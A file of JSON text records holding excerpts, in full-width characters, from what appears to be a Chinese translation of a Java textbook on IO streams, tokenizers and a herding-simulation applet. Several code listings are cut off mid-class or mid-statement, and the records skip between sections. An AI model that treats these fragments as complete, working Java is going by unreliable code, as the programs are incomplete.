    {"text": "２９７ １ ０ ． ５ ． ２ 输出流 两类主要的输出流是按它们写入数据的方式划分的：一种按人的习惯写入，另一种为了以后由一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 而写入。"},
    {"text": "ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 是独立的，尽管它的数据格式兼容于 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 和 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ。"},
    {"text": "但为了输出数据，以便由另一个数据流恢复，则需 用一个 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 写入数据，并用一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 恢复（获取）数据。"},
    {"text": "但为了保证任何读方法能 够正常工作，必须知道数据项在流中的准确位置，因为既有可能将保存的 ｄｏｕｂｌｅ 数据作为一个简单的字节序 列读入，也有可能作为 ｃｈａｒ 或其他格式读入。"},
    {"text": "６． 读写随机访问文件 正如早先指出的那样，ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 与 ＩＯ 层次结构的剩余部分几乎是完全隔离的，尽管它也实现了 ＤａｔａＩｎｐｕｔ 和 ＤａｔａＯｕｔｐｕｔ 接口。"},
    {"text": "尽管也许能将一个 ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ 当作一个随机访问元素对待，但只能用 ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 打开一 个文件。"},
    {"text": "可以自行选择的是第二个构建器参数：可决定以“只读”（ｒ）方式或“读写”（ｒｗ）方式打开一个 ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 文件。"},
    {"text": "使用 ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 的时候，类似于组合使用 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 和 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（因为它实现了等 同的接口）。"},
    {"text": "１ ０ ． ５ ． ３ 快捷文件处理 由于以前采用的一些典型形式都涉及到文件处理，所以大家也许会怀疑为什么要进行那么多的代码输入—— 这正是装饰器方案一个缺点。"},
    {"text": "７． 快速文件输入 若想创建一个对象，用它从一个缓冲的 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 中读取一个文件，可将这个过程封装到一个名为 ＩｎＦｉｌｅ 的类内。"},
    {"text": "如下所示： ／／： ＩｎＦｉｌｅ．ｊａｖａ ／／ Ｓｈｏｒｔｈａｎｄ ｃｌａｓｓ ｆｏｒ ｏｐｅｎｉｎｇ ａｎ ｉｎｐｕｔ ｆｉｌｅ ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＩｎＦｉｌｅ ｅｘｔｅｎｄｓ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｛ ｐｕｂｌｉｃ ＩｎＦｉｌｅ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ） ｔｈｒｏｗｓ ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ ｓｕｐｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ｆｉｌｅｎａｍｅ）））； ｝ ｐｕｂｌｉｃ ＩｎＦｉｌｅ（Ｆｉｌｅ ｆｉｌｅ） ２９８ ｔｈｒｏｗｓ ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ ｔｈｉｓ（ｆｉｌｅ．ｇｅｔＰａｔｈ（））；"},
    {"text": "下面是对 ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ 的扩 展： ／／： ＰｒｉｎｔＦｉｌｅ．ｊａｖａ ／／ Ｓｈｏｒｔｈａｎｄ ｃｌａｓｓ ｆｏｒ ｏｐｅｎｉｎｇ ａｎ ｏｕｔｐｕｔ ｆｉｌｅ ／／ ｆｏｒ ｈｕｍａｎ－ｒｅａｄａｂｌｅ ｏｕｔｐｕｔ． ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＰｒｉｎｔＦｉｌｅ ｅｘｔｅｎｄｓ ＰｒｉｎｔＳｔｒｅａｍ ｛ ｐｕｂｌｉｃ ＰｒｉｎｔＦｉｌｅ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｓｕｐｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（ｆｉｌｅｎａｍｅ）））； ｝ ｐｕｂｌｉｃ ＰｒｉｎｔＦｉｌｅ（Ｆｉｌｅ ｆｉｌｅ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｔｈｉｓ（ｆｉｌｅ．ｇｅｔＰａｔｈ（））；"},
    {"text": "９． 快速输出数据文件 最后，利用类似的快捷方式可创建一个缓冲输出文件，用它保存数据（与由人观看的数据格式相反）： ／／： ＯｕｔＦｉｌｅ．ｊａｖａ ／／ Ｓｈｏｒｔｈａｎｄ ｃｌａｓｓ ｆｏｒ ｏｐｅｎｉｎｇ ａｎ ｏｕｔｐｕｔ ｆｉｌｅ ／／ ｆｏｒ ｄａｔａ ｓｔｏｒａｇｅ． ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＯｕｔＦｉｌｅ ｅｘｔｅｎｄｓ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｛ ｐｕｂｌｉｃ ＯｕｔＦｉｌｅ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｓｕｐｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（ｆｉｌｅｎａｍｅ）））； ｝ ｐｕｂｌｉｃ ＯｕｔＦｉｌｅ（Ｆｉｌｅ ｆｉｌｅ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｔｈｉｓ（ｆｉｌｅ．ｇｅｔＰａｔｈ（））；"},
    {"text": "１ ０ ． ５ ． ４ 从标准输入中读取数据 以 Ｕｎｉｘ 首先倡导的“标准输入”、“标准输出”以及“标准错误输出”概念为基础，Ｊａｖａ 提供了相应的 Ｓｙｓｔｅｍ．ｉｎ，Ｓｙｓｔｅｍ．ｏｕｔ 以及 Ｓｙｓｔｅｍ．ｅｒｒ。 贯这一整本书，大家都会接触到如何用 Ｓｙｓｔｅｍ．ｏｕｔ 进行标准输 出，它已预封装成一个 ＰｒｉｎｔＳｔｒｅａｍ 对象。"},
    {"text": "Ｓｙｓｔｅｍ．ｅｒｒ 同样是一个 ＰｒｉｎｔＳｔｒｅａｍ，但 Ｓｙｓｔｅｍ．ｉｎ 是一个原始 的 ＩｎｐｕｔＳｔｒｅａｍ，未进行任何封装处理。 这意味着尽管能直接使用 Ｓｙｓｔｅｍ．ｏｕｔ 和 Ｓｙｓｔｅｍ．ｅｒｒ，但必须事先封 装 Ｓｙｓｔｅｍ．ｉｎ，否则不能从中读取数据。 典型情况下，我们希望用 ｒｅａｄＬｉｎｅ（）每次读取一行输入信息，所以需要将 Ｓｙｓｔｅｍ．ｉｎ 封装到一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 中。"},
    {"text": "下面是个简单的例子，作用是回应我们键入的每一行内容： ／／： Ｅｃｈｏ．ｊａｖａ ／／ Ｈｏｗ ｔｏ ｒｅａｄ ｆｒｏｍ ｓｔａｎｄａｒｄ ｉｎｐｕｔ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｅｃｈｏ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（Ｓｙｓｔｅｍ．ｉｎ））；"},
    {"text": "Ｓｔｒｉｎｇ ｓ； ｔｒｙ ｛ ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（））．ｌｅｎｇｔｈ（） ！ ＝ ０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ／／ Ａｎ ｅｍｐｔｙ ｌｉｎｅ ｔｅｒｍｉｎａｔｅｓ ｔｈｅ ｐｒｏｇｒａｍ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｝ ／／／：￣ 之所以要使用 ｔｒｙ 块，是由于 ｒｅａｄＬｉｎｅ（）可能“掷”出一个 ＩＯＥｘｃｅｐｔｉｏｎ。"},
    {"text": "１ ０ ． ５ ． ５ 管道数据流 本章已简要介绍了 ＰｉｐｅｄＩｎｐｕｔＳｔｒｅａｍ（管道输入流）和 ＰｉｐｅｄＯｕｔｐｕｔＳｔｒｅａｍ（管道输出流）。"},
    {"text": "１ ０ ． ６ Ｓ ｔ ｒ ｅ ａ ｍ Ｔ ｏ ｋ ｅ ｎ ｉ ｚ ｅ ｒ 尽管 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ 并不是从 ＩｎｐｕｔＳｔｒｅａｍ 或 ＯｕｔｐｕｔＳｔｒｅａｍ 衍生的，但它只随同 ＩｎｐｕｔＳｔｒｅａｍ 工作，所以 十分恰当地包括在库的 ＩＯ 部分中。"},
    {"text": "下面是一个简单的程序，用于计算各个单词在文本文件中重复出现的次数： ／／： ＳｏｒｔｅｄＷｏｒｄＣｏｕｎｔ．ｊａｖａ ／／ Ｃｏｕｎｔｓ ｗｏｒｄｓ ｉｎ ａ ｆｉｌｅ， ｏｕｔｐｕｔｓ ／／ ｒｅｓｕｌｔｓ ｉｎ ｓｏｒｔｅｄ ｆｏｒｍ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｃ０８．＊； ／／ Ｃｏｎｔａｉｎｓ ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １； ｉｎｔ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔ（） ｛ ｉ＋＋； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｏｒｔｅｄＷｏｒｄＣｏｕｎｔ ｛ ｐｒｉｖａｔｅ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ ｆｉｌｅ； ｐｒｉｖａｔｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ ｓｔ； ｐｒｉｖａｔｅ Ｈａｓｈｔａｂｌｅ ｃｏｕｎｔｓ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ＳｏｒｔｅｄＷｏｒｄＣｏｕｎｔ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ） ｔｈｒｏｗｓ ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ ｔｒｙ ｛ ｆｉｌｅ ＝ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ｆｉｌｅｎａｍｅ）； ｓｔ ＝ ｎｅｗ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ（ｆｉｌｅ）； ｓｔ．ｏｒｄｉｎａｒｙＣｈａｒ（＇．＇）； ｓｔ．ｏｒｄｉｎａｒｙＣｈａｒ（＇－＇）； ｝ ｃａｔｃｈ（ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｆｉｌｅｎａｍｅ）； ｔｈｒｏｗ ｅ； ｝ ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ ｔｒｙ ｛ ｆｉｌｅ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｆｉｌｅ．ｃｌｏｓｅ（） ｕｎｓｕｃｃｅｓｓｆｕｌ＂）； ｝ ｝ ｖｏｉｄ ｃｏｕｎｔＷｏｒｄｓ（） ｛ ｔｒｙ ｛ ｗｈｉｌｅ（ｓｔ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｛ Ｓｔｒｉｎｇ ｓ； ｓｗｉｔｃｈ（ｓｔ．ｔｔｙｐｅ） ｛ ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＬ： ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂ＥＯＬ＂）； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＮＵＭＢＥＲ： ３０１ ｓ ＝ Ｄｏｕｂｌｅ．ｔｏＳｔｒｉｎｇ（ｓｔ．ｎｖａｌ）； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＷＯＲＤ： ｓ ＝ ｓｔ．ｓｖａｌ； ／／ Ａｌｒｅａｄｙ ａ Ｓｔｒｉｎｇ ｂｒｅａｋ； ｄｅｆａｕｌｔ： ／／ ｓｉｎｇｌｅ ｃｈａｒａｃｔｅｒ ｉｎ ｔｔｙｐｅ ｓ ＝ Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（（ｃｈａｒ）ｓｔ．ｔｔｙｐｅ）； ｝ ｉｆ（ｃｏｕｎｔｓ．ｃｏｎｔａｉｎｓＫｅｙ（ｓ）） （（Ｃｏｕｎｔｅｒ）ｃｏｕｎｔｓ．ｇｅｔ（ｓ））．ｉｎｃｒｅｍｅｎｔ（）； ｅｌｓｅ ｃｏｕｎｔｓ．ｐｕｔ（ｓ， ｎｅｗ Ｃｏｕｎｔｅｒ（））； ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｓｔ．ｎｅｘｔＴｏｋｅｎ（） ｕｎｓｕｃｃｅｓｓｆｕｌ＂）； ｝ ｝ Ｅｎｕｍｅｒａｔｉｏｎ ｖａｌｕｅｓ（） ｛ ｒｅｔｕｒｎ ｃｏｕｎｔｓ．ｅｌｅｍｅｎｔｓ（）； ｝ Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ（） ｛ ｒｅｔｕｒｎ ｃｏｕｎｔｓ．ｋｅｙｓ（）； ｝ Ｃｏｕｎｔｅｒ ｇｅｔＣｏｕｎｔｅｒ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ （Ｃｏｕｎｔｅｒ）ｃｏｕｎｔｓ．ｇｅｔ（ｓ）； ｝ Ｅｎｕｍｅｒａｔｉｏｎ ｓｏｒｔｅｄＫｅｙｓ（） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｃｏｕｎｔｓ．ｋｅｙｓ（）； ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｓｖ ＝ ｎｅｗ ＳｔｒＳｏｒｔＶｅｃｔｏｒ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｓｖ．ａｄｄＥｌｅｍｅｎｔ（（Ｓｔｒｉｎｇ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））； ／／ Ｔｈｉｓ ｃａｌｌ ｆｏｒｃｅｓ ａ ｓｏｒｔ： ｒｅｔｕｒｎ ｓｖ．ｅｌｅｍｅｎｔｓ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＳｏｒｔｅｄＷｏｒｄＣｏｕｎｔ ｗｃ ＝ ｎｅｗ ＳｏｒｔｅｄＷｏｒｄＣｏｕｎｔ（ａｒｇｓ［０］）； ｗｃ．ｃｏｕｎｔＷｏｒｄｓ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ ＝ ｗｃ．ｓｏｒｔｅｄＫｅｙｓ（）； ｗｈｉｌｅ（ｋｅｙｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｋｅｙ ＝ （Ｓｔｒｉｎｇ）ｋｅｙｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｋｅｙ ＋ ＂： ＂ ＋ ｗｃ．ｇｅｔＣｏｕｎｔｅｒ（ｋｅｙ）．ｒｅａｄ（））； ｝ ｗｃ．ｃｌｅａｎｕｐ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "为打开文件，使用了一个 ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ。 而且为了将文件转换成单词，从 ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ 中创建了一 个 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ。"},
    {"text": "在这里，我们用 ｏｒｄｉｎａｒｙＣｈａｒ（）指出“该字符没有特别重要的意义”，所以解析器不会把它当作 自己创建的任何单词的一部分。 例如，ｓｔ．ｏｒｄｉｎａｒｙＣｈａｒ（＇．＇）表示小数点不会成为解析出来的单词的一部 分。"},
    {"text": "在 ｃｏｕｎｔＷｏｒｄｓ（）中，每次从数据流中取出一个记号，而 ｔｔｙｐｅ 信息的作用是判断对每个记号采取什么操作— —因为记号可能代表一个行尾、一个数字、一个字串或者一个字符。"},
    {"text": "它执行的一种特定类型的操 作，所以尽管 ｋｅｙｓ（）和 ｖａｌｕｅｓ（） 方法都必须重新揭示出来，但仍不表示应使用那个继承，因为大量 Ｈａｓｈｔａｂｌｅ 方法在这里都是不适当的。"},
    {"text": "１ ０ ． ６ ． １ Ｓ ｔ ｒ ｉ ｎ ｇ Ｔ ｏ ｋ ｅ ｎ ｉ ｚ ｅ ｒ 尽管并不必要 ＩＯ 库的一部分，但 ＳｔｒｉｎｇＴｏｋｅｎｉｚｅｒ 提供了与 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ 极相似的功能，所以在这里一 并讲述。"},
    {"text": "／／： ＡｎａｌｙｚｅＳｅｎｔｅｎｃｅ．ｊａｖａ ／／ Ｌｏｏｋ ｆｏｒ ｐａｒｔｉｃｕｌａｒ ｓｅｑｕｅｎｃｅｓ ／／ ｗｉｔｈｉｎ ｓｅｎｔｅｎｃｅｓ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＡｎａｌｙｚｅＳｅｎｔｅｎｃｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ａｎａｌｙｚｅ（＂Ｉ ａｍ ｈａｐｐｙ ａｂｏｕｔ ｔｈｉｓ＂）； ａｎａｌｙｚｅ（＂Ｉ ａｍ ｎｏｔ ｈａｐｐｙ ａｂｏｕｔ ｔｈｉｓ＂）； ａｎａｌｙｚｅ（＂Ｉ ａｍ ｎｏｔ！ Ｉ ａｍ ｈａｐｐｙ＂）； ａｎａｌｙｚｅ（＂Ｉ ａｍ ｓａｄ ａｂｏｕｔ ｔｈｉｓ＂）； ａｎａｌｙｚｅ（＂Ｉ ａｍ ｎｏｔ ｓａｄ ａｂｏｕｔ ｔｈｉｓ＂）； ａｎａｌｙｚｅ（＂Ｉ ａｍ ｎｏｔ！ Ｉ ａｍ ｓａｄ＂）； ａｎａｌｙｚｅ（＂Ａｒｅ ｙｏｕ ｈａｐｐｙ ａｂｏｕｔ ｔｈｉｓ？ ＂）； ａｎａｌｙｚｅ（＂Ａｒｅ ｙｏｕ ｓａｄ ａｂｏｕｔ ｔｈｉｓ？ ＂）； ａｎａｌｙｚｅ（＂Ｉｔ＇ｓ ｙｏｕ！ Ｉ ａｍ ｈａｐｐｙ＂）； ａｎａｌｙｚｅ（＂Ｉｔ＇ｓ ｙｏｕ！ Ｉ ａｍ ｓａｄ＂）； ３０３ ｝ ｓｔａｔｉｃ ＳｔｒｉｎｇＴｏｋｅｎｉｚｅｒ ｓｔ； ｓｔａｔｉｃ ｖｏｉｄ ａｎａｌｙｚｅ（Ｓｔｒｉｎｇ ｓ） ｛ ｐｒｔ（＂＼ｎｎｅｗ ｓｅｎｔｅｎｃｅ ＞＞ ＂ ＋ ｓ）； ｂｏｏｌｅａｎ ｓａｄ ＝ ｆａｌｓｅ； ｓｔ ＝ ｎｅｗ ＳｔｒｉｎｇＴｏｋｅｎｉｚｅｒ（ｓ）； ｗｈｉｌｅ （ｓｔ．ｈａｓＭｏｒｅＴｏｋｅｎｓ（）） ｛ Ｓｔｒｉｎｇ ｔｏｋｅｎ ＝ ｎｅｘｔ（）； ／／ Ｌｏｏｋ ｕｎｔｉｌ ｙｏｕ ｆｉｎｄ ｏｎｅ ｏｆ ｔｈｅ ／／ ｔｗｏ ｓｔａｒｔｉｎｇ ｔｏｋｅｎｓ： ｉｆ（！ ｔｏｋｅｎ．ｅｑｕａｌｓ（＂Ｉ＂） ＆＆ ！ ｔｏｋｅｎ．ｅｑｕａｌｓ（＂Ａｒｅ＂）） ｃｏｎｔｉｎｕｅ； ／／ Ｔｏｐ ｏｆ ｗｈｉｌｅ ｌｏｏｐ ｉｆ（ｔｏｋｅｎ．ｅｑｕａｌｓ（＂Ｉ＂）） ｛ Ｓｔｒｉｎｇ ｔｋ２ ＝ ｎｅｘｔ（）；"},
    {"text": "ｔｋ２．ｅｑｕａｌｓ（＂ａｍ＂）） ／／ Ｍｕｓｔ ｂｅ ａｆｔｅｒ Ｉ ｂｒｅａｋ； ／／ Ｏｕｔ ｏｆ ｗｈｉｌｅ ｌｏｏｐ ｅｌｓｅ ｛ Ｓｔｒｉｎｇ ｔｋ３ ＝ ｎｅｘｔ（）； ｉｆ（ｔｋ３．ｅｑｕａｌｓ（＂ｓａｄ＂）） ｛ ｓａｄ ＝ ｔｒｕｅ； ｂｒｅａｋ； ／／ Ｏｕｔ ｏｆ ｗｈｉｌｅ ｌｏｏｐ ｝ ｉｆ （ｔｋ３．ｅｑｕａｌｓ（＂ｎｏｔ＂）） ｛ Ｓｔｒｉｎｇ ｔｋ４ ＝ ｎｅｘｔ（）； ｉｆ（ｔｋ４．ｅｑｕａｌｓ（＂ｓａｄ＂）） ｂｒｅａｋ； ／／ Ｌｅａｖｅ ｓａｄ ｆａｌｓｅ ｉｆ（ｔｋ４．ｅｑｕａｌｓ（＂ｈａｐｐｙ＂）） ｛ ｓａｄ ＝ ｔｒｕｅ； ｂｒｅａｋ； ｝ ｝ ｝ ｝ ｉｆ（ｔｏｋｅｎ．ｅｑｕａｌｓ（＂Ａｒｅ＂）） ｛ Ｓｔｒｉｎｇ ｔｋ２ ＝ ｎｅｘｔ（）； ｉｆ（！ ｔｋ２．ｅｑｕａｌｓ（＂ｙｏｕ＂）） ｂｒｅａｋ； ／／ Ｍｕｓｔ ｂｅ ａｆｔｅｒ Ａｒｅ Ｓｔｒｉｎｇ ｔｋ３ ＝ ｎｅｘｔ（）； ｉｆ（ｔｋ３．ｅｑｕａｌｓ（＂ｓａｄ＂）） ｓａｄ ＝ ｔｒｕｅ； ｂｒｅａｋ； ／／ Ｏｕｔ ｏｆ ｗｈｉｌｅ ｌｏｏｐ ｝ ｝ ｉｆ（ｓａｄ） ｐｒｔ（＂Ｓａｄ ｄｅｔｅｃｔｅｄ＂）； ｝ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｎｅｘｔ（） ｛ ｉｆ（ｓｔ．ｈａｓＭｏｒｅＴｏｋｅｎｓ（）） ｛"},
    {"text": "index ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｃｏｍｐｌｅｘｉｔｙ ｔｈｅｏｒｙ； ｓｉｍｕｌａｔｅｓ ／／ ｈｅｒｄｉｎｇ ｂｅｈａｖｉｏｒ ｉｎ ａｎｉｍａｌｓ． Ａｄａｐｔｅｄ ｆｒｏｍ ／／ ａ ｐｒｏｇｒａｍ ｂｙ Ｌａｒｒｙ Ｏ＇Ｂｒｉｅｎ ｌｏｂｒｉｅｎ＠ｍｓｎ．ｃｏｍ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｂｅａｓｔ ｛ ６４３ ｉｎｔ ｘ， ｙ， ／／ Ｓｃｒｅｅｎ ｐｏｓｉｔｉｏｎ ｃｕｒｒｅｎｔＳｐｅｅｄ； ／／ Ｐｉｘｅｌｓ ｐｅｒ ｓｅｃｏｎｄ ｆｌｏａｔ ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ； ／／ Ｒａｄｉａｎｓ Ｃｏｌｏｒ ｃｏｌｏｒ； ／／ Ｆｉｌｌ ｃｏｌｏｒ ＦｉｅｌｄＯＢｅａｓｔｓ ｆｉｅｌｄ； ／／ Ｗｈｅｒｅ ｔｈｅ Ｂｅａｓｔ ｒｏａｍｓ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＧＳＩＺＥ ＝ １０； ／／ Ｇｒａｐｈｉｃ ｓｉｚｅ ｐｕｂｌｉｃ Ｂｅａｓｔ（ＦｉｅｌｄＯＢｅａｓｔｓ ｆ， ｉｎｔ ｘ， ｉｎｔ ｙ， ｆｌｏａｔ ｃＤ， ｉｎｔ ｃＳ， Ｃｏｌｏｒ ｃ） ｛ ｆｉｅｌｄ ＝ ｆ； ｔｈｉｓ．ｘ ＝ ｘ； ｔｈｉｓ．ｙ ＝ ｙ； ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ ＝ ｃＤ； ｃｕｒｒｅｎｔＳｐｅｅｄ ＝ ｃＳ； ｃｏｌｏｒ ＝ ｃ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔｅｐ（） ｛ ／／ Ｙｏｕ ｍｏｖｅ ｂａｓｅｄ ｏｎ ｔｈｏｓｅ ｗｉｔｈｉｎ ｙｏｕｒ ｓｉｇｈｔ： Ｖｅｃｔｏｒ ｓｅｅｎ ＝ ｆｉｅｌｄ．ｂｅａｓｔＬｉｓｔＩｎＳｅｃｔｏｒ（ｔｈｉｓ）； ／／ Ｉｆ ｙｏｕ＇ｒｅ ｎｏｔ ｏｕｔ ｉｎ ｆｒｏｎｔ ｉｆ（ｓｅｅｎ．ｓｉｚｅ（） ＞ ０） ｛ ／／ Ｇａｔｈｅｒ ｄａｔａ ｏｎ ｔｈｏｓｅ ｙｏｕ ｓｅｅ ｉｎｔ ｔｏｔａｌＳｐｅｅｄ ＝ ０； ｆｌｏａｔ ｔｏｔａｌＢｅａｒｉｎｇ ＝ ０．０ｆ； ｆｌｏａｔ ｄｉｓｔａｎｃｅＴｏＮｅａｒｅｓｔ ＝ １０００００．０ｆ； Ｂｅａｓｔ ｎｅａｒｅｓｔＢｅａｓｔ ＝ （Ｂｅａｓｔ）ｓｅｅｎ．ｅｌｅｍｅｎｔＡｔ（０）； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｓｅｅｎ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｂｅａｓｔ ａＢｅａｓｔ ＝ （Ｂｅａｓｔ） ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ｔｏｔａｌＳｐｅｅｄ ＋＝ ａＢｅａｓｔ．ｃｕｒｒｅｎｔＳｐｅｅｄ； ｆｌｏａｔ ｂｅａｒｉｎｇ ＝ 